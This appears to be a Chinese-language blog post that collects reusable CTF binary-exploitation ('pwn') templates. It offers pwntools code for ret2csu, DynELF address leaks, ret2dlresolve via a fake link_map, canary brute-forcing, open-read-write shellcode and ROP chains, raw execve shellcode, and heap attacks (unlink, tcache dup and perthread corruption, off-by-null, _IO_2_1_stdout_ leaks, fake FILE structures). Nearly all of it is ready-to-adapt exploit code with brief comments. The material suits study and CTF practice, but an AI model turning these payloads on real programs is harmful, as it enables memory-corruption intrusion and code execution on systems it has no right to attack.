0%

各种模板

各种模板

pwn题中有许多目标模板,灵活利用可以节约大量时间

我打算把我遇到的所有模板都挂在这里,方便以后查找


CSU-万能pop模板

当程序的常规gadgets不能满足需求时(通常是缺少“pop_rdx”),就需要万能pop

如果用csu进行寄存器赋值,需要两个重要的ROPgadgets:

csu_front_addr:

csu_end_addr:

这两个gadgets相互配合就可以执行任何已知函数

不同的程序csu可能不同(寄存器顺序不同),一定要确认并修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
csu_front_addr=
csu_end_addr=

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = padding + fake_ebp
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

​ // fun_got也可以是指向函数首地址的指针

例子:

1
2
3
4
csu(0, 1, write_got, 8, bss_addr, 1, main_addr)
#执行write(1,bss_addr,8)后,执行main_addr
csu(0, 1, read_got, 8, bss_addr, 0, main_addr)
#执行read(0,bss_addr,8)后,执行main_addr

​ //但是万能pop需要至少“136字节”(0x88)的溢出

DynELF-基于puts的模板

puts遇到“\x00”会中断,并且会在字符串结尾自动加上’\n’,非常不适合leak函数

所以想用puts来泄露地址,必须要对其进行处理:

64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def leak(addr): 
payload = padding + fake_rbp
payload += p64(pop_rdi_ret) + p64(addr)
payload += p64(puts_plt) + p64(ret_address)
p.send(payload)
p.recvuntil('xxxx')
count = 0
data = ''
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data = data[:8]
log.success('%x -> %s'%(addr,hex(u32(data))))
return data

32位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
count = 0
data = ''
payload = p32(puts_plt) + p32(ret_address) + p32(address)
p.send(payload)
print p.recvuntil('xxxx')
up = ""
while True:
c = p.recv(numb=1, timeout=1)
count += 1
if up == '\n' and c == "":
buf = buf[:-1]
buf += "\x00"
break
else:
buf += c
up = c
data = buf[:4]
log.success('%x -> %s'%(address,hex(u32(data))))
return data

数据接收那里很容易出问题,并且必须要有“ p.recvuntil(‘xxxx’) ”

因为程序在运行的过程中会输出一些字符串,可能会干扰数据接收的过程

DynELF-基于write的模板

write比puts友好太多了,这个leak函数也比较简单:

64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def leak(addr): 
payload = padding + fake_rbp
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(addr)
payload += p64(pop_rdx_ret) + p64(8)
payload += p64(write_plt) + p64(ret_address)
p.send(payload)
p.recvuntil('xxxx')
data = p.recv(8)
log.success('%x -> %s'%(addr,hex(u32(data))))
return data

d = DynELF(leak,elf = elf)
function_libc = d.lookup('function','libc')

32位:

1
2
3
4
5
6
7
8
9
10
11
12
def leak(address):
payload = padding + fake_rbp
payload += p32(write_plt) + p32(ret_address)
payload += p32(1) + p32(address) + p32(4)
p.sendline(payload)
p.recvuntil('xxxx')
data = p.recv(4)
log.success('%x -> %s'%(address,hex(u32(data))))
return data

d = DynELF(leak,elf = elf)
function_libc = d.lookup('function','libc')

配合上面的万能pop,还可以形成更骚的操作:

1
2
3
4
5
6
7
def leak(addr): 
csu(0, 1, write_got, 8, addr, 1, main_addr)
p.recvuntil('xxxx')
data = p.recv(8)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data
#当然,配合puts也是可以的(puts和write就只有接收部分不同)

注意:有些程序自带循环,可以根据具体情况进行修改

ret2dlresolve-64位

如果题目中给出了libc版本,就可以用这个方法(泄露出libc版本后也行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

#fake_linkmap_addr:可以控制的地址
#known_func_ptr:function_got(已知函数的GOT表地址)
#offset:system_got - function_got
1
2
3
4
5
6
7
8
9
10
l_addr =  libc.sym['system'] -libc.sym['function']  
plt_load = addr(plt[1]) # dl_runtime_resolve

fake_link_map = fake_Linkmap_payload(bss_stage, function_got ,l_addr)
payload = flat( padding, pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, pop_rsi, 0, 0, pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0)
# “bss_stage+0x48”为'/bin/sh\x00'

p.recvuntil('xxxx')
p.sendline(payload)
p.send(fake_link_map)

程序先利用read在“bss_stage”中写入了“fake_link_map”

在手动调用dl_runtime_resolve(plt_load),把“bss_stage”和“0”作为参数

执行完成之后,目标函数就会被重定位为“ system(“/bin/sh”) ”

理论上来讲,只要已知了libc版本就可以用这个来打

canary爆破

1
2
3
4
5
6
7
8
9
10
for j in range(3): #32位为‘3’,64位为‘7’
for i in range(0x100):
cn.send( padding + canary + chr(i)) #从0~0xFF,依次注入
a = cn.recvuntil('xxxx')
if 'xxxx' in a: #一次性不覆盖全部的canary,而是覆盖1字节
canary += chr(i)
break

canary='\x00'+canary
print(canary)

这两个’xxxx’写什么是关键,要对比“canary通过”和“canary不通过”程序输出的字符串来填入

ORW(ROP链+shellcode)

ORW原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <gmp.h>
#include <stdio.h>

int main(void)
{
void* bss;
int* fd,mm;
fd=open("./flag.txt",0);
mm=open("./flag.txt",0);
bss=malloc(0x90);
read(3,bss,0x30);
write(1,bss,0x30);
printf("fd >>%d\n",fd);
printf("mm >>%d\n",mm);
return 0;
}

注意这里的“read(3,bss,0x30)”(如果前面已经调用了“open”,可以换成“read(4,bss,0x30)”)

1
2
3
flag{ywhkkx}
fd >>3
mm >>4

Shellcode-32

1
2
3
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

Shellcode-64

1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

​ // 不管是64位还是32位:“esp”为“./flag”所在地址,根据具体情况进行填写

ROP链-64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
payload = padding + fake_rbp
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(3,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

p.sendline(payload)
flag='./flag'
p.send(flag)

当不知道程序名称时,用“getdents64”进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
payload = padding + fake_rbp
# read(0, bss_addr, 2)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(2)
payload += p64(elf.sym['read'])
# open(".")[3]
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# getdents64(3, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret) + p64(217)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x600)
payload += p64(syscall_ret)
# write(1, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x600)
payload += p64(syscall_ret)
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
# open(bss_addr,0)[4]
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(4,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(4)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

p.sendline(payload)
p.send('.\x00') # read(0, bss_addr, 2) >> open(".")
time.sleep(1)
p.recvuntil('xxxx') # read(0, bss_addr, 0x30) >> open('xxxx'+flag_s,0)
flag_s=p.recv(20)
flag='xxxx'+flag_s
p.send(flag)
  • 先用“open(“.”)”打开当前目录
  • 使用“getdents64(3, bss_addr + 0x200, 0x600)”打印目录到“bss_addr + 0x200”
  • 使用“write(1, bss_addr + 0x200, 0x600)”打印目录
  • 选择性接受文件名称(至于怎么接收,就要看程序了)

Shellcode模板

ret2csu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
csu_front_addr=
csu_end_addr=

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = padding + fake_ebp
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

# 1. read shellcode to bss_addr
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
#shellcode=asm(shellcraft.amd64.linux.sh(),arch='amd64')
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss_addr)
payload+=p64(pop_rdx_ret)+p64(0x400)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

# 2. read bss_addr to got[0]
shellcode_got= got[0]
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(shellcode_got)
payload+=p64(pop_rdx_ret)+p64(0x200)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(bss_addr))

# 3. read mprotect_libc to got[1]
mprot_got= got[1]
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(mprot_got)
payload+=p64(pop_rdx_ret)+p64(0x200)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(mprotect_libc))

csu(0, 1, mprot_got, 7, 0x1000, 0x600000, main_addr)
csu(0, 1, shellcode_got, 0, 0, 0, main_addr)

这种进攻方式的核心就在于:把目标地址写入空白的GOT表

Unlink攻击模板

基于chunk_list

通常就是这么个造型,根据具体需要进行修改(这种方式高libc版本用不了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
alloc(0xa0)	#chunk1
alloc(0xa0) #chunk2
alloc(0xa0) #chunk3

list_addr_chunk2=list_addr+0x10
payload=p64(0)+p64(0xa0)
payload+=p64(list_addr_chunk2-0x18)
payload+=p64(list_addr_chunk2-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

fill(2,0xb0,payload) #fake_chunk2
free(3)
#list_addr_chunk2:就是目标chunk(chunk2)的FD指针,通过list_addr比较好寻找
#注意:例题的"chunk[0]"没有写入东西

通常都是修改“chunk2”,释放“chunk3”,留一个“chunk1”进行初始化

1
2
3
4
5
6
7
8
pwndbg> x/10xg list_addr(buf[0])
0x602140: 0x0000000000000000 0x0000000000e0a020
0x602150: 0x0000000000602138 0x0000000000000000 #fake_chunk2
0x602160: 0x0000000000000000 0x0000000000000000
#演示程序的buf[0]没有chunk
#buf[1]为chunk1,用于初始化
#buf[2]为fake_chunk2,是攻击对象
#buf[3]为chunk3,已经被free

接下来修改“chunk2”就可以直接修改“list_addr”(“buf[0]”)了

1
2
3
4
5
payload=p64(0)
payload+=p64(elf.got['target1']) #fake_chunk0
payload+=p64(elf.got['target2']) #fake_chunk1
payload+=p64(elf.got['target3']) #fake_chunk2
fill(2,len(payload),payload)

​ // 程序会在“buf[-1]”(buf[2-3])开始写入数据

基于heap_addr(泄露“heap_addr”+泄露“libc_base”+后续利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# leak libc_base
add(0x40,'')#0
add(0x60,'')#1
add(0xf0,'')#2
add(0x10,'')#3
delete(2)
add(0xf0,'')#2

show(2)
p.recvuntil('\n')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))<<8
libc_base=leak_addr-0x3c4b00
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

# leak heap_addr
add(0x10,'')#4
delete(3)
delete(4)
add(0x10,'')#3
show(3)
p.recvuntil('\n')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))<<8
heap_addr=leak_addr-240
success('leak_addr >> '+hex(leak_addr))
success('heap_addr >> '+hex(heap_addr))

# unlink for overlapping
delete(0)
payload=p64(0)+p64(0xb1) # fake chunk->size
payload+=p64(heap_addr+0x18)+p64(heap_addr+0x20)+p64(heap_addr+0x10)
add(0x40,payload)#0
delete(1)
add(0x68,'\x00'*0x60+p64(0xb0))#1
delete(2) # fake chunk->size=0xb1+0x100

# after unlink
add(0xc0,'AAAA')#2(malloc form unsortedbin "0x40+0x10"+"0x60+0x10")
add(0x60,'BBBB')#3(avoid top chunk and adjust the size of unsortedbin)
delete(1) # lead chunk1 to fastbin
delete(2)
add(0xc0,flat('\x00'*0x38,0x71,fake_target))
# make fake_target to unsortedbin and then to fastbin(0x70)
add(0x60,payload) # malloc the fake_target and change it
  • 先构造泄露 heap_addr 的结构,再构造泄露 libc_base 的结构
  • 要求 unlink 跳过中间那个chunk,基于这点构造“fake chunk->size”和“last chunk->fake presize”
  • 释放chunk1,使chunk1进入fastbin
  • 申请“0x60”字节的目的有二:防止 top chunk 合并,调整 unsortedbin 的大小(使其可以进入fastbin)
  • 申请“0xC0”字节释放后,可以控制已经在fastbin中的chunk1,从而申请到目标地址

Unsortedbin Leak模板

1
2
3
4
5
6
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3) # 注意:这里要先释放后申请的chunk,不然程序不会打印(不知道原因)
delete(1)
  • chunk1:leak heap_addr
  • chunk3:leak main_arena

格式化字符串漏洞模板

WAA模板

通常需要在两片内存空间中,最后指向的地址相同(“偏移N”,“偏移M”)

例如:实现“ 目标地址 => shellcode ”

  • 找寻:最后指向地址相同的两片空间(“偏移N”,“偏移M”)
  • 把“目标地址”写入“偏移N”
  • 对应的“偏移M”最终也会指向“目标地址”
  • 把“shellcode”写入“偏移M”(其实就是把“shellcode”写入“目标地址”了)

通常需要分段写入地址,先写入高地址,所以模板为:(每次修改2字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
payload = "%{}c%N$hn\n".format(target_addr_in_stack + 6) # last 6~8
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*3) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack + 4) # last 4~6
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*2) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack + 2) # last 2~4
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*1) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack) # last 0~2
p.send(payload)

payload = "%{}c%M$hn\n".format(shellcode_addr & 0xFFFF)
p.send(payload)

leak模板

格式化字符串的 leak 很简单,只需要输入若干“-%p”,并在GDB中确认格式化参数的地址后,就可以计算出各个地址的偏移了

​ // 前6个是寄存器中存放的值(在stack中也有),后续的信息才是重点

实现 leak 了之后,首先需要寻找“最后指向地址相同”的内存空间,方便以后的 WAA

Tcache Attack 模板

Tcache Attack的形式多种多样,遇到一个记录一个

Tcache leak

如果程序拥有“打印模块”,就先可以填满 Tcachebin,然后打 Unsortedbin leak

1
2
3
4
5
6
7
for i in range (9):
add(i,0x100,'aaaa')

for i in range (7):
delete(i)

delete(7) # chunk8 into Unsortedbin

申请9个chunk:7个填Tcachebin,1个leak,1个防止和合并Top chunk

Tcache dup

1
2
3
4
5
6
7
delete(index)
edit(index,"\x00"*0x10)
delete(index)

edit(index,p64(target))
add(size)
add(size) # malloc the target
  • 释放 chunk ,覆盖 “chunk->FD,chunk->BK” 为“\x00” ,再次释放
  • 利用修改模块覆写上 target
  • 连续两次申请获取 target

Tcache perthread corruption

一,打 count 获取 unsorted chunk:

1
2
3
4
5
6
7
8
9
10
delete(index) # Tcache dup
edit(index,"\x00"*0x10)
delete(index)

payload="\x00"*0x48 + p64(0x0007000000000000) # cover count to '7'

edit(index,p64(heap_base + 0x10)) # tcache_perthread_struct->next
add(size)
add(size,payload) # malloc the tcache_perthread_struct
delete(index)
  • 注意:tcache->next 和常规的FD指针相似但不同,FD指向 nextchunk->presize ,而 next 指向 nextchunk->next
  • 利用 Tcache dup 申请到“tcache_perthread_struct”(第一个chunk)
  • 修改对应“tcache_perthread_struct->size”的“count”为“7”(偏移可以在GDB中看)
  • 释放“tcache_perthread_struct”使其进入“unsortedbin”

二,打 tcache_entry 劫持 tcachebin:

这个很灵活,不好用代码表示,这里我挂上几个堆风水:

1
2
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd010: 0x0001000200000000 0x0000000000000001
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd060: 0x0000000558b1ce3c 0x0000558b1cfcd010 // delete
0x558b1cfcd070: 0x0000000000000000 0x0000000000000000
0x558b1cfcd080: 0x0000000000000000 0x0000000000000000
0x558b1cfcd090: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0a0: 0x0000558b1cfcd0b0 0x0000558b1cfcd060 // '0x40'的tcache
/* 伪造'0x40'的tcache(带有main_arena) */
0x558b1cfcd0b0: 0x00007fea097ddc00 0x00007fea097ddc00 // '0x60'的tcache
/* 这里曾经是unsortedbin,所以main_arena留下来了 */
1
2
3
4
tcachebins
0x40 [ 2]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd
0x50 [ 1]: 0x558b1cfcd060 ◂— 0x1f1
0x60 [ 1]: 0x7fea097ddc00 (main_arena+96) ◂— 0x558ce25c44cd
  • 注意:因为 tcache 的性质,在对应“size的tcache”中写入地址,就会申请这个地址作为“tcache->next”(也就是说,数据会直接写入该地址)
  • 关键在于:使 '0x40' tcache 中装有 '0x50' tcache addr ,使其可以通过申请“0x30”来修改 '0x50' tcache 的地址(劫持大小为“0x50”的tcachebin)

Off-By-Null模板(基于read)

有些程序为了“打印模块”的安全性,会在read完成后加一个“\x00”,造成了off-by-null

例如:( (&list + index) + read(0, *(&list + index) , size) ) = 0

有Tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(0, 11):
add(i, 0xF8, "a"*0xF0+"b"*0x8)

for i in range(3, 10):
delete(i)

delete(0)
edit(1, 'a' * 0xF0 + p64(0x200))
delete(2)

add(0, 0x70, "\n")
add(0, 0x70, "\n")
show(1)

覆盖前:

1
2
3
0x55a67dfb3450:	0x6262626262626262	0x0000000000000101 # chunk2(allocated)
0x55a67dfb3460: 0x6161616161616161 0x6161616161616161
0x55a67dfb3470: 0x6161616161616161 0x6161616161616161

覆盖后:

1
2
3
0x561f0e5bf450:	0x0000000000000200	0x0000000000000100 # chunk2(allocated)
0x561f0e5bf460: 0x6161616161616161 0x6161616161616161
0x561f0e5bf470: 0x6161616161616161 0x6161616161616161

导致程序误以为chunk0(free)是chunk2相邻的上一个chunk,在释放chunk2后,会导致chunk0,chunk1,chunk2,三者合并为free_chunk

两次申请“0x80”大小的chunk后,free_chunk刚好和chunk1_old重合,把“arena_main + xx”写入chunk1_old,这之后就可以利用“打印模块”进行泄露了

IO_2_1_stdout Leak 模板

基于 Double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def pwn():	
# lead target to chunk2
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
add(0x90,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)))

# Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,padding) # cover "chunk0->FD" to make chunk1 into fastbin
add(0x60) # can change
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00') # malloc the target
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-offset
  • 整个过程在循环中进行,有 1/16 的概率可以成功
  • 把 chunk1 放入 unsortedbin 然后覆盖 main_arena 为 target
  • 进行 Double free ,然后覆盖“chunk0->FD”,使其指向 chunk1
  • 申请 target 修改 _IO_2_1_stdout_ 的“flag”为“0xfbad1800”,将后面三个read指针置空,将 _IO_write_base 处的第一个字节改为“0”

这里一定是:先覆盖 main_arena ,后 Double free 把它链入 fastbin

FILE结构体模板

这个模板主要是个函数:

1
2
3
4
5
6
7
8
9
10
def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

用它可以快速伪造 FILE 结构体